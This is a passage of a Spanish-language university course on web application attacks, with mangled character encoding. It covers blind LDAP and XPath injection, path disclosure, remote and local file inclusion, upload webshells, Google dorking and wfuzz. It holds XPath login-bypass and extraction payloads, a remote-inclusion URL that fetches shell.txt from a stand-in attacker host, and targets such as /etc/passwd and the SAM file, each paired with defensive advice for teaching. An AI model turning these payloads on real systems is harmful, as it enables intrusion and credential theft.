Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
